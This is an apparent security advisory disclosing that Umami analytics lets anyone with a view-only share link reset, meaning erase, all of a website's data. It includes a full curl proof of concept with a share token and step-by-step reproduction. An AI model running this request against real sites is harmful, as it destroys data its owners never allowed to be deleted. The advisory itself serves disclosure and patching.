GMS-2023-1888: Anyone with a share link can RESET all website data in Umami

Summary

Anyone with a share link (permissions to view) can reset the website data.

Details

When a user navigates to a /share/ URL, he receives a share token which is used for authentication. This token is later verified by useAuth. After the token is verified, the user can call most of the GET APIs that allow fetching stats about a website.

The POST /reset endpoint is secured using canViewWebsite which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - permalink

PoC

curl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \
 -H 'authority: analytics.umami.is' \
 -H 'accept: application/json' \
 -H 'accept-language: en-US,en;q=0.9' \
 -H 'authorization: Bearer undefined' \
 -H 'cache-control: no-cache' \
 -H 'content-type: application/json' \
 -H 'pragma: no-cache' \
 -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \
 -H 'sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"' \
 -H 'sec-ch-ua-mobile: ?0' \
 -H 'sec-ch-ua-platform: "Linux"' \
 -H 'sec-fetch-dest: empty' \
 -H 'sec-fetch-mode: cors' \
 -H 'sec-fetch-site: same-origin' \
 -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \
 -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \
 --compressed

You can reproduce this by:

  • Accessing a website using it’s share link
  • Copy the token received from the the received from the GET /share/{website-id}
  • Send a POST request to https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset with x-umami-share-token: header equal to the token copied in the previous step
  • The website data is now cleared

Impact

Everyone with an open share link exposed to the internet!

References

Code Behaviors & Features

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